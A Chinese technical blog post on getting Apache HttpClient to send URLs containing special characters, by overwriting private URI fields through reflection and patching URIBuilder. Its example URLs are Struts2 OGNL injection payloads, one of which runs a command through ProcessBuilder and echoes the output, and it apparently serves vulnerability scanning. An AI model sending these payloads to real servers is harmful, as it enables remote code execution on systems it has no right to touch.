这两天在使用httpclient发送http请求的时候,发现url中一旦包含某些特殊字符就会报错。抛出URISyntaxException异常,比如struts漏洞的利用url:(大括号就不行)

redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23webroot%3d%23req.getSession().getServletContext().getRealPath('/'),%23resp%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23resp.print('At%201406220173%20Nessus%20found%20the%20path%20is%20'),%23resp.println(%23webroot),%23resp.flush(),%23resp.close()}

看了下jdk的源码知道是URI类parser中checkChars方法对url进行校验时抛出的,而且URI是jdk自带的final类型的类,无法继承也不方便修改。后来经过测试有以下两种方式可以解决这个问题。

第一种方法(这个不是重点):

使用URL类的openConnection()方法。

public class Test {
public static void main(String[] args) throws Exception {
String urlStr = "http://www.xxx.com/?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%22pwd%22}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}";

URL url = new URL(urlStr);
URLConnection urlConn = url.openConnection();
BufferedReader br = new BufferedReader(new InputStreamReader(urlConn.getInputStream(), "UTF-8"));

StringBuilder sb = new StringBuilder();
String str;
while ((str = br.readLine()) != null)
{
sb.append(str));
}
br.close();
System.out.println(sb.toString().trim());

}

}

第二种方法(这个才是重点):

因为我必须要用httpclient,而httpclient都是用的URI类,所以第一种方法并不可行。第二种方法是先用正常的url创建URI的对象,然后通过反射,强行修改此对象的地址信息。

public static HttpRequest createRequestMethod(String url, String host, String strRequest, Boolean isAcceptCookie,
Boolean isAllowRedirect) throws UnsupportedEncodingException {

int i = strRequest.indexOf(" ");
String method = strRequest.substring(0, i);

if (method == null || method.trim().length() < 3) {
System.out.println("无效的HTTP方法");
}

HttpRequest httpRequest;
if (method.equalsIgnoreCase("GET")) {
httpRequest = new HttpGet();
} else if (method.equalsIgnoreCase("POST")) {
httpRequest = new HttpPost();
} else if (method.equalsIgnoreCase("DELETE")) {
httpRequest = new HttpDelete();
} else if (method.equalsIgnoreCase("PUT")) {
httpRequest = new HttpPut();
} else if (method.equalsIgnoreCase("HEAD")) {
httpRequest = new HttpHead();
} else if (method.equalsIgnoreCase("OPTIONS")) {
httpRequest = new HttpOptions();
} else if (method.equalsIgnoreCase("TRACE")) {
httpRequest = new HttpTrace();
} else {
// httpRequest = new BasicHttpRequest(method);
System.out.println("无效的HTTP方法");
return null;
}

// 判断是否为带entity的方法
String strHeader;
String strBody;

if (httpRequest instanceof HttpEntityEnclosingRequestBase) {
int j = strRequest.indexOf("\n\n");
strHeader = strRequest.substring(0, j);
strBody = strRequest.substring(j + 2);
StringEntity ent = new StringEntity(strBody);
((HttpEntityEnclosingRequestBase) httpRequest).setEntity(ent);
} else {
strHeader = strRequest;
}

String[] split = strHeader.split("\n");
String name = null;
String value = null;

// 获取第一行中的 http方法、uri、http版本
String firstLine[] = split[0].split(" ");
HttpRequestBase hrb = (HttpRequestBase) httpRequest;

// hrb.setProtocolVersion(version);
// httpRequest.

RequestConfig requestConfig;
if (isAcceptCookie) {
requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
.setSocketTimeout(3000).setCookieSpec(CookieSpecs.DEFAULT).setRedirectsEnabled(isAllowRedirect)
.build();

} else {
requestConfig = RequestConfig.custom().setConnectTimeout(3000).setConnectionRequestTimeout(3000)
.setSocketTimeout(3000).setCookieSpec(CookieSpecs.IGNORE_COOKIES)
.setRedirectsEnabled(isAllowRedirect).build();

}

hrb.setConfig(requestConfig);

for (int ii = 1; ii < split.length; ii++) {
if (split[ii].equals("")) {
continue;
}
int k;
if ((k = split[ii].indexOf(":")) < 0) {
// return null;
continue;
}
name = split[ii].substring(0, k).trim();
if (name.equals("Content-Length")) {
continue;
}
value = split[ii].substring(k + 1).trim();
httpRequest.addHeader(name, value);
}

// System.out.println("httputil " + httpRequest);

// 设置httprequest的uri
try {
String urii = firstLine[1];
URI uri = null;
try {
uri = URI.create(url + urii);
hrb.setURI(uri);
} catch (Exception e) {
// 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
// e.printStackTrace();
uri = URI.create(url);    //创建正常的URI
Class<URI> clazz = URI.class;
Field path = clazz.getDeclaredField("path");
Field schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
Field string = clazz.getDeclaredField("string");

path.setAccessible(true);
schemeSpecificPart.setAccessible(true);
string.setAccessible(true);

path.set(uri, urii);
schemeSpecificPart.set(uri, "//" + host + urii);
string.set(uri, url + urii);

hrb.setURI(uri);
System.out.println(hrb.getURI());
}
} catch (Exception e) {
e.printStackTrace();
}
return hrb;

}

另外还需要修改org.apache.http.client.utils.URIBuilder类的build方法

public URI build() throws URISyntaxException {
// return new URI(buildString());

String str = buildString();
URI u = null;
try{
u = new URI(str);
}catch(Exception e){
// 对于包含特殊字符的url会抛出urisyntaxexception异常,如下处理
// e.printStackTrace();
u = URI.create("/");
Class<URI> clazz = URI.class;
Field path = null;
Field schemeSpecificPart = null;
Field string = null;
try {
path = clazz.getDeclaredField("path");
schemeSpecificPart = clazz.getDeclaredField("schemeSpecificPart");
string = clazz.getDeclaredField("string");

} catch (NoSuchFieldException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
} catch (SecurityException e2) {
// TODO Auto-generated catch block
e2.printStackTrace();
}

path.setAccessible(true);
schemeSpecificPart.setAccessible(true);
string.setAccessible(true);

try {
path.set(u, str);
schemeSpecificPart.set(u, str);
string.set(u, str);
} catch (IllegalArgumentException | IllegalAccessException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}

}
return u;
}

解决httpclient抛出URISyntaxException异常的更多相关文章

  1. druid抛出的异常------javax.management.InstanceAlreadyExistsException引发的一系列探索

    最近项目中有个定时任务的需求,定时检查mysql数据与etcd数据的一致性,具体实现细节就不说了,今天要说的就是实现过程中遇到了druid抛出的异常,以及解决的过程 异常 异常详细信息 五月 05, ...

  2. 外部无法捕捉Realm的doGetAuthenticationInfo方法抛出的异常

    shiro权限框架,用户登录方法的subject.login(token)会进入自定义的UserNamePasswordRealm类的doGetAuthenticationInfo身份验证方法 通常情 ...

  3. 关于thinkphp5手动抛出Http异常时自定义404页面报错的问题

    在使用HttpException手动抛出异常时,希望跳转到自定义的错误页面,官方的文章中是这样描述的. 可以使用\think\exception\HttpException类来抛出异常 // 抛出 H ...

  4. 当WebView运行在特权进程时抛出安全异常,Hook方式解决方案(包含对Android 8.0的处理)

    1.问题起源报错语句是:java.lang.UnsupportedOperationException: For security reasons, WebView is not allowed in ...

  5. 应该抛出什么异常?不应该抛出什么异常?(.NET/C#)

    我在 .NET/C# 建议的异常处理原则 中描述了如何 catch 异常以及重新 throw.然而何时应该 throw 异常,以及应该 throw 什么异常呢? 究竟是谁错了? 代码中从上到下从里到外 ...

  6. Java中主线程如何捕获子线程抛出的异常

    首先明确线程代码的边界.其实很简单,Runnable接口的run方法所界定的边界就可以看作是线程代码的边界.Runnable接口中run方法原型如下: public void run(); 而所有的具 ...

  7. Spring boot 前后台分离项目 怎么处理spring security 抛出的异常

    最近在开发一个项目 前后台分离的 使用 spring boot + spring security + jwt 实现用户登录权限控制等操作.但是 在用户登录的时候,怎么处理spring  securi ...

  8. 将Controller抛出的异常转到特定View

    <!-- 将Controller抛出的异常转到特定View --> <bean class="org.springframework.web.servlet.handler ...

  9. 使用visual studio 2015调用阿里云oss .net sdk 2.2的putobject接口抛出outofmemory异常

    问题描述: 使用阿里云oss .net sdk 2.2版本,使用putobject接口上传文件时,抛出outofmemory异常. 原因分析: 上传时,用于准备上传的数据缓冲区内存分配失败.与应用软件 ...

随机推荐

  1. 《windows核心编程》 18章 堆

    堆的优缺点: 优点:让我们专心解决手头问题,不必理会分配粒度和页边界这类事情. 缺点:分配和释放内存块的速度比其他方式慢,而且也无法对物理存储器的调拨和撤销进行直接控制. 什么是堆: 堆就是一块预订的 ...

  2. css3中-moz、-ms、-webkit,-o分别代表的意思

    这种方式在业界上统称:识别码.前缀 //-ms代表[ie]内核识别码 //-moz代表火狐[firefox]内核识别码 //-webkit代表谷歌[chrome]/苹果[safari]内核识别码 // ...

  3. 因DataTable的字段值为DBNull引发的异常

    1 问题重现 (1)新建项目DBNullExp.项目属性为"控制台应用程序": (2)在项目下新建数据集Schools(数据集文件的后缀名为.xsd): watermark/2/t ...

  4. YUV422与RGB互相转换

      YUV422与RGB互相转换(经验证在IPNC与PC上都可以) 前一段时间在DM8168中进行颜色空间的转换,在网上找了些程序,自己也根据网上的改了下,由于能力问题,实在是不好意思说做了好几天才弄 ...

  5. Django学习之模板标签和变量

    safe过滤器和{% autoescape %}标签 首先看这样一个例子: views.py中: c = '<h3>更上一层楼</h3>' render(request,'te ...

  6. mysql之select into outfile

    参见:http://dev.mysql.com/doc/refman/5.1/en/select-into.html 例子: SELECT a,b,a+b INTO OUTFILE '/tmp/res ...

  7. 从‘void*’到‘int’的转换损失精度

    在CentOS6.2 64位下编译一下代码,不通过,提示 ./11_2.cpp: In function ‘int main(int, char**)’:./11_2.cpp:28: 错误:从‘voi ...

  8. MySQL获取Schema表名和字段信息

    MySQL获取Schema表名和字段信息 获取表名 select TABLE_NAME,TABLE_TYPE,ENGINE,TABLE_ROWS,TABLE_COMMENT,CREATE_TIME,U ...

  9. iOS一些基础面试题

    Part One 别人问你你都感觉这尼玛说啥的基础面试题 1.UIWindow和UIView和 CALayer 的联系和区别? 答:UIView是视图的基类,UIViewController是视图控制 ...

  10. C++函数指针和类成员函数指针

    一.函数指针——基本形式 char Fun(int n) { return char(n); } //char(*pFun)(int); void main() { char(*pFun)(int); ...